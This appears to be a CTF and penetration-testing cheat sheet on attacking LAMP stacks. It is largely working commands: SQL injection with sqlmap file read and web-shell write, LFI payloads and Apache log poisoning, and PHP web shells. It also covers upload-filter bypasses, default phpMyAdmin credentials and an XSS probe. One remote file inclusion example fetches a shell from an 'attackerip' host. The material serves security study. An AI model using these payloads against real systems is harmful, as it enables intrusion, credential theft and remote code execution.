LAMP Stack
Table of Contents
A classic server-side web stack combining Linux, Apache, MySQL, and PHP. One of the most widely deployed web stacks, particularly in shared hosting environments and older web applications. Heavily represented in CTFs due to its age and the volume of known vulnerabilities.
Related: Web Application Testing Methodology SQL Injection File Inclusion XSS CSRF
Components
| Layer | Technology | Role |
|---|---|---|
| OS | Linux | Operating system |
| Web Server | Apache | HTTP server and request handling |
| Database | MySQL | Relational database |
| Language | PHP | Server-side scripting language |
Architecture
Browser → Apache → PHP → MySQL
Apache receives HTTP requests and passes them to PHP for
processing. PHP interacts with MySQL directly via mysqli or PDO.
No application server layer — PHP runs as an Apache module or
via FastCGI. Configuration lives in php.ini, httpd.conf, and
per-directory .htaccess files.
Attack Surface
SQL Injection
PHP applications frequently concatenate user input directly into MySQL queries, making SQLi extremely common in LAMP applications.
# Test manually curl "http://$IP/page.php?id=1'" # Automated sqlmap -u "http://$IP/page.php?id=1" --dbs
With sufficient MySQL privileges, SQLi can lead to file read and write:
# Read a file via SQLi sqlmap -u "http://$IP/page.php?id=1" \ --file-read="/etc/passwd" # Write a web shell via SQLi (requires FILE privilege and writable path) sqlmap -u "http://$IP/page.php?id=1" \ --file-write="shell.php" \ --file-dest="/var/www/html/shell.php"
See SQL Injection for full technique detail.
File Inclusion — LFI and RFI
PHP's include(), require(), include_once() and
require_once() are vulnerable when user input controls the
file path. This is one of the most common LAMP vulnerabilities.
# Basic LFI curl "http://$IP/page.php?file=../../../../etc/passwd" # PHP filter wrapper — read PHP source as base64 curl "http://$IP/page.php?file=php://filter/convert.base64-encode/resource=config.php" # Log poisoning via LFI — inject PHP into Apache access log then include it curl -A "<?php system(\$_GET['cmd']); ?>" http://$IP/ curl "http://$IP/page.php?file=../../../../var/log/apache2/access.log&cmd=id"
Common files to target via LFI:
| File | Contents |
|---|---|
| /etc/passwd | User accounts |
| /etc/hosts | Network configuration |
| /var/log/apache2/access.log | Apache access log |
| /var/log/apache2/error.log | Apache error log |
| /proc/self/environ | Environment variables |
| /var/www/html/config.php | Database credentials |
| var/www/html.htpasswd | HTTP basic auth credentials |
See File Inclusion for full technique detail.
Remote File Inclusion
If allow_url_include is enabled in php.ini (rare in modern
configs but common in older applications), PHP will fetch and
execute remote files:
# Host a PHP shell on your attacking machine echo '<?php system($_GET["cmd"]); ?>' > shell.php python3 -m http.server 8080 # Include it remotely curl "http://$IP/page.php?file=http://attackerip:8080/shell.php&cmd=id"
PHP Web Shells
If file upload or SQLi leads to writing a PHP file to a web-accessible path, a web shell gives code execution:
# Simple web shell echo '<?php system($_GET["cmd"]); ?>' > shell.php # Upload via vulnerable form or SQLi file-write # Then execute commands curl "http://$IP/uploads/shell.php?cmd=id" curl "http://$IP/uploads/shell.php?cmd=cat+/etc/passwd"
File Upload Bypass
PHP file upload filters are frequently bypassable:
# Change extension but keep PHP content mv shell.php shell.php.jpg # Double extension mv shell.php shell.jpg.php # Null byte (older PHP versions) curl -F "file=@shell.php%00.jpg" http://$IP/upload.php # Change Content-Type header to image/jpeg curl -X POST http://$IP/upload.php \ -F "file=@shell.php;type=image/jpeg"
Apache Misconfigurations
Apache configuration issues are common attack paths:
.htaccessfiles may be readable — check directly:
curl http://$IP/.htaccess curl http://$IP/.htpasswd
- Directory listing enabled — browse for sensitive files:
curl http://$IP/uploads/ curl http://$IP/backup/
mod_statusexposed at/server-status— reveals active requests and server info:
curl http://$IP/server-status
PHP Configuration Issues
Dangerous php.ini settings worth checking for:
| Setting | Dangerous value | Risk |
|---|---|---|
| displayerrors | On | Reveals stack traces |
| allowurlinclude | On | Enables RFI |
| allowurlfopen | On | Enables remote file fetching |
| registerglobals | On | Old PHP — variable injection |
| magicquotesgpc | Off | No automatic SQLi escaping |
Trigger PHP errors to check display_errors:
curl "http://$IP/page.php?id='"
XSS
PHP applications often reflect user input directly into HTML without encoding. Test all parameters:
curl "http://$IP/search.php?q=<script>alert(1)</script>"
See XSS for full detail.
phpMyAdmin
phpMyAdmin is frequently installed alongside LAMP stacks for database management and left accessible:
# Common paths curl http://$IP/phpmyadmin/ curl http://$IP/pma/ curl http://$IP/mysql/
Default credentials to try: root with empty password, root:root,
admin:admin. Authenticated phpMyAdmin allows SQL execution and
file write — equivalent to a shell.
WordPress and Common CMS
LAMP stacks frequently run WordPress, Joomla, or Drupal. Check:
# WordPress detection curl http://$IP/wp-login.php curl http://$IP/wp-admin/ curl http://$IP/xmlrpc.php # WPScan for WordPress enumeration wpscan --url http://$IP --enumerate u,p,t
Enumeration Tips
- Always check for
phpinfo.php,info.php,test.php— extremely common and reveals full PHP and server configuration - Check
/phpmyadmin/,/pma/,/mysql/for exposed database management - Feroxbuster with
.phpextension catches the majority of LAMP attack surface robots.txtfrequently lists admin and backup paths in LAMP applications- Check for backup files:
config.php.bak,config.php~,index.php.old
feroxbuster -u http://$IP \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,txt,bak,old,zip,tar.gz
Tips
- LFI is the highest-value finding in a LAMP application — always test file parameters thoroughly including PHP wrappers
- Log poisoning via LFI is a reliable RCE path when direct PHP upload is not possible
- SQLi in PHP/MySQL frequently leads to file read and write — go beyond data extraction
- phpinfo() pages are goldmines — they reveal absolute paths, disabled functions, and configuration values needed for other attacks
- LAMP CTF machines almost always have one of: SQLi, LFI, file upload bypass, or exposed phpMyAdmin — check all four early